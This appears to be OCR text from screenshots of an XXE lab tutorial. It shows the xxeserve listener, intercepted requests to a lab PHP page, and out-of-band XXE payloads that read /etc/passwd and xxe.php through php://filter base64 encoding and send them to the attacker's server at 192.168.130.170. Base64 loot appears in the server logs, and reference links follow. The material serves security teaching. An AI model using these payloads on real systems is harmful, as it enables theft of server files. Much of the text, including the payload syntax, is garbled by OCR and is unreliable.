~/xxeserve# ruby xxeserve.rb
usr/lib/ruby/vendor ruby/thin/server.rb:107: warning: constant ::Fixnum is deprecated
= Sinatra (v1.4.8) has taken the stage on 443 for development with backup from Thin

hin web server (v1.6.3 codename Protein Powder)
Maximum connections set to 1024

ISERH RN EI192 . 168.130. 170 : 443 NG {RoNE oIS 4] ]
[ ]
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trying to read /etc/passwd

Bl L

|G =iy

Raw | Params IHeaders IETW}

0ST /xxe/xxe.php HTTR/1.1
fost: 192.168.130.146
Jser-Agent: Mozilla/s.o (x11;
woept: */*

\ccept-Language: en-US,en;g=0.5
wcept-Encoding: gzip, deflate

eferer: http://192.168.130.146/xxe/
ontent-Length: 284

ontent-Type: text/plain;charset=UTF-8
wokie: PHPSESSID=bdcbe3tbogasuvmzedzknapgsl
onnection: close

Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

7xml wersion="1.0" encoding="utf-g"?>
I DOCTYPE root [
S ENTITY % remote SYSTEM

http://192.168.130.170:443/xmL?f=php://filter/read=convert.bases4-encode/resource=/etc/passwd" >

sremote;
ant;
strick; 1=

sroot><name>admin</name><data>4</data><password>admin</password></root>

trying to read xxe.php

| Go | iy

Raw | Params THeaders IETM}

or_ruby ,thlr ® rni c ant ::Fixnum
8) IH’ taken the vwlupmwnt with backup fro
name
1024
130.170:443, CTRL+C ']
- [22/3ul/2018:10:29:38 1
swd HTTP/1.0" 200 174 0
130.146 - - [22/Jul/2018:10:29:38 -0400]
ZGF1bW9u0i91c3Ivc2Ipbjor NyL3NiaW4vbm9sb2
‘GVEOiQ1(31V(2Jp|:1191\b2‘:-'.v221UCnHSme
FtZX.HE-LS i9z\’m1uL‘Subﬁsna\'HVblfJFuon Nj
3Zhci9zcG9vbC

"GET /xml?f=php://Filter,

m9vdDp40jA6MDpYb2900i9yb2900i9i

WavYmMFzaApkYWVtb24
Doy0jI6¥Ymlu0i9iaW46L3Vzci9zYmluL25vbGInaw4Kc317]

000jYINTMOONN5bmM6L21pbjovYmluL3NSbmMKZ2Ft ZXI

’H]pt‘vW-lf-L hcmmw ww 3Vzcioz mluLﬁsvbwnn\'

191(31\1( 1prlsmb
()nB"b.)I\SOJ.S

XVZ ’ll\(nvl\‘ AG
5L3vzci9zYmluL25vbGInawaKd3
DpiYWNrdXA6L3Zhci9iYWNrdXBz0i91c
3Vzci9 \‘mluLlSUbGQna\'HKaKJ]O
HMgQnVnLVI1cGIydGluZy!|
Dpub2JvZi HLr-LWvaqu
SJaHJ\meI YXRpb2:

ZMzp3d3ctZGF! YTovdn
IV(‘prlQUbL»u*"lu(m»:pcgr)

LIL3F|5(3R1b\’dl}\/bﬂlV0al’J *priamvw
ZW1kL3J1c29s L7J|::b19r||‘r\'»l:zzop
\'JlP-()lQld\'HU 'mFsc2UKc31zbG9In0
Ipbi9mYWxzZQpFYXBAO!
XVPZGQ! LlpriQm‘r’ XZZQpyMDBOO!
200 - 9.0015

2UKbWVZC2FnZW] 1(zp-|()j E
L23pbigmYWxzZQp1dWlkZDp40jEw
SMTAWMDO LzhvbWuvcjAwdDovyYmluL2dhe

MDAWOK| Wlu -x>:|‘lr)cmF0b.> sL

c name Protein Po
to 1024
170:443, CTRL+C
ul/2018:10:30:
200 170 0.0031

S0ST /xxe/xxe.php HTTP/1.1
fost: 192.168.130.146
Jser-Agent: Mozilla/S.0 (X11;
ccept: */*

iccept-Language: en-US,en;g=0.5
\ccept-Encoding: gzip, deflate

zeferer: http://192.168.130.146/xxe/
“ontent-Length: 280

“ontent-Type: text/plain;charset=UTF-8
ookie: PHPSESSID=bdebe3tbOgaSuvm26d2knapgal
“onnection: close

Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

<xml version='1.0" encoding='utf-g'?>

=!DOCTYPE root [

<IENTITY % remote SYSTEM
‘http://192.168.130.170: 443/xmL?f=php: //filter/read=convert.base64- encode/resource=xxe.php" >
sremote;

sint;

strick;]>

zroot><name>admin</name><datasd</datas<password=admin</password></roots
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e RESOURCES

1. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
http://xml.silmaril.ie/whatisxml.html
https://www.w3schools.com/xml/xml_tree.asp
https://qithub.com/joernchen/xxeserve

http://4.bp.blogspot.com/-

aoN W

£BS05Sdrmus/U_SBRi_|_ol/ARRARAARARAJS/WBMYx_K9LOI/s1600/XXEA.pong

6. https://blogs.sans.org/pen-testing/files/2017/12/xxel.png
7. https://krbtgt.pw/content/images/2018/03/7.PNG
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http://4.bp.blogspot.com/-FBSO5Sdrmus/U_SBRi_I_oI/AAAAAAAAAJ8/W6M9x_K9LOI/s1600/XXEA.png
https://blogs.sans.org/pen-testing/files/2017/12/xxe1.png

